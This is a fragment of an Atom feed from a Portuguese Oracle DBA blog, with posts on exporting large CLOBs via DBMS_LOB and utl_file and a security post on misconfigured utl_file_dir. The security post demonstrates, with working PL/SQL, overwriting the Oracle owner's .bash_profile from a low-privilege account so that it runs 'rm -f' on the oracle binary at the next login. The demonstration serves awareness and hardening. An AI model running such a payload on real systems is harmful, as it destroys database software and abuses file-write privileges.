src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-738813581012393997</id><published>2007-04-10T11:14:00.000-03:00</published><updated>2007-04-10T11:33:50.434-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>DBMS_LOB (10g)</title><content type='html'>Na lista de discussão &lt;a href="http://br.groups.yahoo.com/group/oracle_br/message/79737"&gt;oracle_br&lt;/a&gt;, tivemos um dúvida relacionada ao uso do LOB. Era preciso descarregar o conteúdo de um campo CLOB em um arquivo, porém a longitude do registro era maior que 32767 (limite documentado do utl_file). Depois de algum bate-bola, chegamos a conclusão que era possível usar o dbms_lob.put_raw para escrever tal linha. Faltou o exemplo e aqui está ele.&lt;br /&gt;&lt;ul style="font-style: italic;"&gt;&lt;li&gt;Criei uma tabela com um campo CLOB&lt;/li&gt;&lt;li&gt;Preenchi esse campo com um registro bem longo (~64k)&lt;/li&gt;&lt;li&gt;Em um bloco anônimo, criei uma instância de um BLOB, fiz a conversão do CLOB para o BLOB, escrevi em um arquivo usando o utl_file.put_raw.&lt;/li&gt;&lt;li&gt;Gostaria de chamar a atenção no momento da abertura do arquivo, já que usei como argumento o 'wb', novo na versão 10g. Significa: abrindo arquivo para recber binário.&lt;/li&gt;&lt;li&gt;Para testar se o arquivo foi criado corretamente, usei o comando wc -L do unix para trazer o tamanho da maior linha do arquivo.&lt;/li&gt;&lt;li&gt;Teste executado na versão 10gR2 (10.2.0.2) e Enterprise Linux.&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table t ( x clob );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create or replace directory my_files as '/tmp';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Directory created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2       l_clob     clob;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4       loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5          exit when dbms_lob.getlength( l_clob ) &gt; 50000;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6          l_clob := l_clob || rpad('z', 32760, 'x') ;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7       end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9       insert into t values ( l_clob ) ;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select dbms_lob.getlength( x ) from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DBMS_LOB.GETLENGTH(X)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                65520&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2          l_output        utl_file.file_type;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3          l_blob          blob;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4          l_clob          clob;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5          l_amt           number default 32000;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6          l_off           number default 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7          l_raw           raw(32000);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8          l_length        number;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10          l_warning       number;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11          l_doff7         number default 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12          l_soff7         number default 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13          l_lang_ctx      number default dbms_lob.default_lang_ctx;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 14&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 15  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 16          l_output := utl_file.fopen( 'MY_FILES', 'bigclob.txt', 'wb', 32767 );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 17          select x into l_clob from t;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 18&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 19          dbms_lob.createtemporary( l_blob, true, dbms_lob.session );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 21          dbms_lob.converttoblob(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 22                  l_blob,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 23                  l_clob,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 24                  dbms_lob.LOBMAXSIZE,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 25                  l_doff7,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 26                  l_soff7,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 27                  dbms_lob.DEFAULT_CSID,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 28                  l_lang_ctx,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 29                  l_warning&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 30          );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 31&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 32          l_length := dbms_lob.getlength(l_blob);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 33          loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 34                  exit when l_off &gt; l_length;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 35                  dbms_lob.read( l_blob, l_amt, l_off, l_raw );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 36                  l_off := l_off + l_amt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 37                  utl_file.put_raw( l_output, l_raw, true );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 38          end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 39&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 40          utl_file.fclose( l_output );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 41          dbms_lob.freetemporary( l_blob );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 42  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 43  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; !ls -l /tmp/bigclob.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 65520 Apr 10 10:28 /tmp/bigclob.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; !wc -L /tmp/bigclob.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;65520 /tmp/bigclob.txt&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-738813581012393997?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/738813581012393997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=738813581012393997' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/738813581012393997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/738813581012393997'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/dbmslob-10g.html' title='DBMS_LOB (10g)'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-536837084944984917</id><published>2007-04-09T21:52:00.000-03:00</published><updated>2007-04-09T22:10:52.474-03:00</updated><title type='text'>Português</title><content type='html'>Enfim aconteceu! A primeira dúvida na "&lt;a href="http://apex.oracle.com/pls/otn/f?p=30467:1"&gt;Ask ao Tio&lt;/a&gt;" (nome provisório e uma brincadeira) que já foi respondida. Mais do que um espaço para esclarecimentos, penso que posso convidar outras pessoas que gostem de compartilhar conhecimento para me ajudar a montar uma verdadeira página que seja referência em português em dúvidas sobre Oracle, fora os comentários em forma de &lt;span style="font-style: italic;"&gt;thread&lt;/span&gt; que eventualmente acontecem em páginas desse estilo.&lt;br /&gt;&lt;br /&gt;Para ler a primeira dúvida: &lt;a href="http://apex.oracle.com/pls/otn/f?p=30467:11:0::::P11_QUESTION_ID:70400346829231"&gt;Click Aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Peço a gentileza de um pedacinho do seu tempo. Deixem comentários sobre o tema. Sugestões são extremamente bem-vindas. Em minha opinião, ainda falta um espaço para esclarecer dúvidas &lt;span style="font-weight: bold;"&gt;em português&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-536837084944984917?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/536837084944984917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=536837084944984917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/536837084944984917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/536837084944984917'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/portugus.html' title='Português'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-4033473728381817996</id><published>2007-04-09T06:59:00.000-03:00</published><updated>2007-04-09T07:07:45.687-03:00</updated><title type='text'>Tempos Difíceis</title><content type='html'>É provável que todos, entre os falíveis mortais, já passaram por algum tipo de enfermidade e se deram conta que, por mais que seja uma unha, a saúde é essencial. Estou passando por uma situação difícil e por isso não tenho tido oportunidade de atualizar o blog com tanta freqüência. Justo meus olhos estão com uma pequena infecção que demora a cicatrizar e isso me deixa impossibilitado de lidar com luz. Hoje, volto a trabalhar, depois de duas semanas "de molho", ainda não estou 100%, porém é preciso voltar. Espero poder voltar a escrever e produzir o mais rápido possível. Até breve!&lt;br /&gt;&lt;br /&gt;Márcio Portes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-4033473728381817996?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/4033473728381817996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=4033473728381817996' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4033473728381817996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4033473728381817996'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/tempos-difceis.html' title='Tempos Difíceis'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-2861643064029676846</id><published>2007-03-29T09:35:00.000-03:00</published><updated>2007-04-02T09:55:12.187-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Velhos Vícios</title><content type='html'>Ainda hoje, beirando o lançamento da versão 11g, sustentamos alguns velhos hábitos mantendo funcionalidades do passado, algumas, além de antigas, perigosas. A natureza humana é resistente a mudança, isso é indiscutível e quase incontestável, porém, quando novas características vêm, é preciso, no mínimo, considerar e mais importante, conhecer! A cada nova release é necessário saber a lista de &lt;span style="font-style: italic;"&gt;bugs&lt;/span&gt; corrigidos assim como novas funcionalidades, estudá-las, testá-las e classificá-las adequadamente para sua aplicação futura. Até hoje é possível ver banco de dados subindo com pfile ao invés de spfile, por exemplo.&lt;br /&gt;&lt;br /&gt;Outro exemplo é o comando de definição &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14200/statements_5007.htm#SQLRF01207"&gt;CREATE DIRECTORY&lt;/a&gt;, que nem pode ser chamado de nova funcionalidade na medida em que ele existe desde a &lt;a href="http://download-west.oracle.com/docs/cd/A87860_01/doc/server.817/a85397/statem8c.htm#2061961"&gt;versão 8i&lt;/a&gt;. Mas é impressionante a quantidade de analistas e desenvolvedores que ainda usam o parâmetro &lt;span style="font-style: italic;"&gt;utl_file_dir&lt;/span&gt; para escrever ou ler arquivos do sistema operacional. Está comprovadamente advertido que este parâmetro é extremamente perigoso, ainda mais se for mal configurado. Vamos discutir um pouco mais a fundo. Gostaria apenas de uma ressalva quanto a publicação desse exemplo: se há algo que evito, é publicar como explorar vulnerabilidades, mostrando os códigos. É importante estar ciente dos problemas de segurança, portanto, quando publico, procuro omitir o código. Entretanto, penso que esta demonstração tem seu propósito.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Então, por favor, não reproduza o exemplo a seguir em seu ambiente já que o resultado pode ser desastroso&lt;/span&gt;, a intenção é mostrar o que um sistema mal configurado e um programador "&lt;span style="font-style: italic;"&gt;bem intencionado&lt;/span&gt;" podem fazer. O cenário consiste em explorar o mal dimensionamento do parâmetro &lt;span style="font-style: italic;"&gt;ult_file_dir&lt;/span&gt;, que em muitos sistemas fica setado para "*" (asterísco), ou seja, permissão para escrita e leitura em qualquer lugar do sistema operacional, onde o usuário dono do oracle tenha acesso. No linux, usando o shell /bin/bash, o &lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt; é um arquivo que executa automaticamente quando o usuário loga-se no sistema, uma espécie de autoexec.bat (para Windows). Meu código irá substituir o conteúdo do &lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt; do dono do Oracle e na próxima oportunidade de login do mesmo, o &lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt; executa!&lt;br /&gt;Requisito:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;ops$marcio:LX92&gt; show parameter utl_file_dir&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;------------------------------------ ----------- ------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;utl_file_dir                         string      *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Faço o login con o ora92 (dono do meu oracle 9i) e mostro o &lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt; original.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$ cat .bash_profile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# .bash_profile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# Get the aliases and functions&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;if [ -f ~/.bashrc ]; then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       . ~/.bashrc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# User specific environment and startup programs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PATH=$PATH:$HOME/bin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;export PATH&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;unset USERNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE_SID=lx92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE_BASE=/oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE_HOME=/oracle/92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PATH=$ORACLE_HOME/bin:$PATH:.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LD_ASSUME_KERNEL=2.4.19&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQLPATH=/oracle/sqladm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;export ORACLE_SID ORACLE_BASE ORACLE_HOME PATH LD_ASSUME_KERNEL SQLPATH&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Agora, entro com o scott/tiger do prompt do unix mesmo, mas eu poderia usar o sqlplusw do Windows na minha estação ou o sqldeveloper ou até mesmo outro cliente qualquer, não há necessidade de conhecer ou ter o usuário do unix. Uma vez conectado, vou executar um bloco anônimo de 12 linhas apenas, fechar a sessão e esperar a bomba que acontece na próxima conexão de algum DBA que necessite fazer manutenção no banco através da conta "ora92".&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$ sqlplus scott/tiger&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:45:37 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Oracle Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JServer Release 9.2.0.8.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;scott:LX92&gt; declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 2          l_output        utl_file.file_type;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 3  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 4          l_output := utl_file.fopen('/home/ora92', '.bash_profile', 'w' );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 5          utl_file.put_line( l_output, 'rm -f /oracle/92/bin/oracle' );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 6          utl_file.put_line( l_output, 'clear' );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 7          utl_file.put_line( l_output, 'echo ''Vai usar o sqlplus ? :-) ''' );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 8          utl_file.put_line( l_output, 'echo ''Acho que nao!!! :P ''' );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 9          utl_file.put_line( l_output, '');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;10          utl_file.fclose(l_output);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;11  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;12  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;scott:LX92&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Oracle Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JServer Release 9.2.0.8.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Tudo armado, veja abaixo como está o &lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt; e cá entre nós, quem se lembra que existe o &lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt; toda vez que conectamos? Então, um pouco mais abaixo, mostro o telnet e a conexão.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$ cat .bash_profile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;rm -f /oracle/92/bin/oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;clear&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;echo 'Vai usar o sqlplus ? :-) '&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;echo 'Acho que nao!!! :P '&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$ telnet anakin.mportes.local&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Trying 192.168.0.120...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to anakin.mportes.local (192.168.0.120).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Escape character is '^]'.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Enterprise Linux Enterprise Linux AS release 4 (October Update 4)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Kernel 2.6.9-42.0.0.0.1.ELsmp on an i686&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;login: ora92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Password:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Last login: Wed Mar 28 21:22:32 from localhost.localdomain&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Vai usar o sqlplus ? :-)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Acho que nao!!! :P&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-bash-3.00$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-bash-3.00$&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Só de ler isso aqui já dá um negócio na barriga não? Feche os olhos e imagine VOCE vivendo uma situação como esta? O shell diferente do que está acostumado, uma mensagem ridícula com caretinhas e... voce se dá conta que algo aconteceu no seu profile (&lt;span style="font-style: italic;"&gt;.bash_profile&lt;/span&gt;) "Caramba, quem mexeu aqui? Deve ser zueira" - Sim e das grandes! Seguindo, acertamos as variáveis de ambiente e tentamos conectar no banco...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-bash-3.00$ sqlplus "/ as sysdba"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-bash: sqlplus: command not found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-bash-3.00$ . ./bash_profile_backup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$ sqlplus "/ as sysdba"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:47:26 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 